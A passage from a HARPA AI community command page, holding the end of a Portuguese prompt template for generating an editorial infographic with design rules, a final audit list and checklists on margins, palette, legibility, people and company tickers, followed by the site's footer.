PowerPoint, planilha ilustrada, template de IA, catálogo de boxes, mapa mental básico ou interface gamer. ALINHAMENTO COM O ÁUDIO O infográfico deve seguir a mesma lógica do RESUMO FINAL PARA ÁUDIO. A pessoa deve conseguir ouvir o áudio e localizar visualmente: 1. tese central; 2. desdobramentos; 3. riscos; 4. monitoramento; 5. síntese. A arte-mãe central deve ajudar a pessoa a entender onde tudo se encaixa. MODELO LONGO — DENSIDADE Este é o modelo longo. Ele deve ser visual, completo, analítico, rico em desdobramentos, capaz de cobrir a maior parte da estrutura relevante do conteúdo, mas ainda assim não pode virar documento textual. O modelo longo pode incluir tese central, contexto, mecanismo detalhado, empresas, ativos, tickers e relações, dados relevantes, riscos principais e secundários, catalisadores, monitoramento, síntese e implicações práticas. A maior cobertura deve ser resolvida com canvas maior, hierarquia visual e arte-mãe central, nunca com fonte pequena. AUDITORIA FINAL OBRIGATÓRIA Antes de entregar, revisar internamente. REPROVAR E REFAZER SE HOUVER: - fundo preto ou quase preto; - neon dominante; - glow exagerado; - imagem em desenho quando era possível usar realismo; - falta de margem em qualquer borda; - qualquer elemento encostando na borda; - @Fredericoza fora da margem inferior; - @Fredericoza fora do centro; - @Fredericoza com estilo diferente do padrão; - uso de URL no rodapé; - texto menor que referência visual de 12 pt; - microtexto; - texto ilegível; - resolução baixa; - aparência pixelada ou craquelada; - arte-mãe central fraca ou inexistente; - conteúdo não derivando da arte-mãe; - cards dominando a composição; - caixas ou blocos dominando a composição; - empresas sem ticker quando o ticker for conhecido; - empresas sem logotipo/símbolo quando isso for possível; - empresas em vitrines retangulares; - autor/fonte representado como pessoa sem fazer parte da tese; - retrato inventado de pessoa nomeada; - ativo inventado de empresa específica; - parte inferior comprimida; - falta de criatividade nos desdobramentos; - erro de português; - palavra truncada; - aparência de template de IA. CHECKLIST DE MARGEM E RODAPÉ Verificar: - há margem superior? - há margem inferior? - há margem esquerda? - há margem direita? - nada encosta na borda? - o @Fredericoza está dentro da margem inferior? - o @Fredericoza está centralizado? - o rodapé está limpo e padronizado? CHECKLIST DE PALETA Verificar: - o fundo está em grafite médio/editorial? - o fundo não parece preto? - o fundo não parece quase preto? - não há neon dominante? - as cores são vivas, sólidas e maduras? CHECKLIST DE LEGIBILIDADE Verificar: - todo texto informativo parece equivalente a 12 pt ou maior? - títulos estão grandes? - números importantes estão grandes? - nada exige zoom excessivo? - o canvas foi ampliado se necessário? CHECKLIST DE CRIATIVIDADE Verificar: - existe arte-mãe central forte? - 100% dos assuntos derivam dela? - os desdobramentos são visuais e criativos? - não há cards dominantes? - a peça parece editorial, e não dashboard? CHECKLIST DE PESSOAS Verificar: - alguma pessoa foi colocada apenas por ser autora/fonte? - a pessoa representada faz parte da tese? - o retrato é fiel? - se não houver fidelidade, foi usada solução neutra? CHECKLIST DE EMPRESAS Verificar: - empresas relevantes têm nome? - empresas relevantes têm ticker quando conhecido? - empresas relevantes têm logotipo/símbolo quando possível? - alguma empresa foi representada com ativo inventado? ENTREGA FINAL Entregar somente a imagem final. Não explicar. Não listar etapas. Não entregar briefing. Não entregar texto fora da imagem. RESUMO FINAL PARA ÁUDIO {{audio_summary}} BASE EDITORIAL DE APOIO INTERNO {{coverage_contract}} silent: false param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES ---